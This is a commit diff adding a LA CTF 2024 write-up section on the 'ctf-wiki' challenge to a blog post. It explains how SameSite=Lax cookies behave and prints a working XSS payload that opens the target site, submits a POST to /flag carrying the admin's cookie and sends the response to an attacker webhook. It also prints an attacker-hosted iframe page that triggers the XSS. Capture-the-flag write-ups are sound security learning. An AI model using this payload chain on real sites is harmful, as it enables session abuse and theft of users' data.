Skip to content

Commit 2509cb4

Browse files
committed
feat: update la ctf
1 parent 298d9cd commit 2509cb4

1 file changed

Lines changed: 28 additions & 0 deletions

File tree

_posts/2024-02-19-LA-CTF-2024.md

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -427,6 +427,34 @@ Reference:
427427
428428
{% include embed/youtube.html id='ewXEEneicQQ' %}
429429
430+
So the challenge is based around the property of `Lax` cookie. According to the [documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#lax). `Lax` cookies can't be sent through iframe or img tag. But will be sent if the site navigated the user to the site that the cookie belongs to.
431+
432+
In the challenge, only the user that have not login (have no cookie) can trigger the XSS through the `/view` endpoint. But in order to get the flag, the admin user have to sent a POST request to `/flag` with the admin cookie in it.
433+
434+
One way to do it was to let the admin user trigger the XSS through an `iframe` where the cookie is not sent. And the XSS navigate the admin to the cookie's origin, in this case `ctf-wiki.chall.lac.tf`, and the cookie will be sent with the request. After the admin user have navigate to the cookie's origin, we can change the page content via the XSS payload to send a POST request to `/flag` to get the flag and exfiltrate it.
435+
436+
XSS payload:
437+
```html
438+
<script>
439+
let w = window.open('{url}/home');
440+
w.document.write(`<form action="/flag" method="POST" id="flag-form"></form>`);
441+
setTimeout(() => w.document.forms['flag-form'].submit(), 500);
442+
setTimeout(() => fetch('{webhook}', { method: 'POST', mode: 'no-cors', body: JSON.stringify({ content: w.document.body.innerHTML })}), 1500);
443+
</script>
444+
```
445+
446+
Payload on the attacker server to trigger XSS via `iframe`, the bot will visit this page.
447+
```html
448+
<!DOCTYPE html>
449+
<html>
450+
<head>
451+
<title>PBR | UCLA</title>
452+
</head>
453+
<body>
454+
<iframe src="https://ctf-wiki.chall.lac.tf/view/{xss_id}"></iframe>
455+
</body>
456+
</html>
457+
```
430458
431459
## quickstyle
432460
Reference:

0 commit comments

Comments
 (0)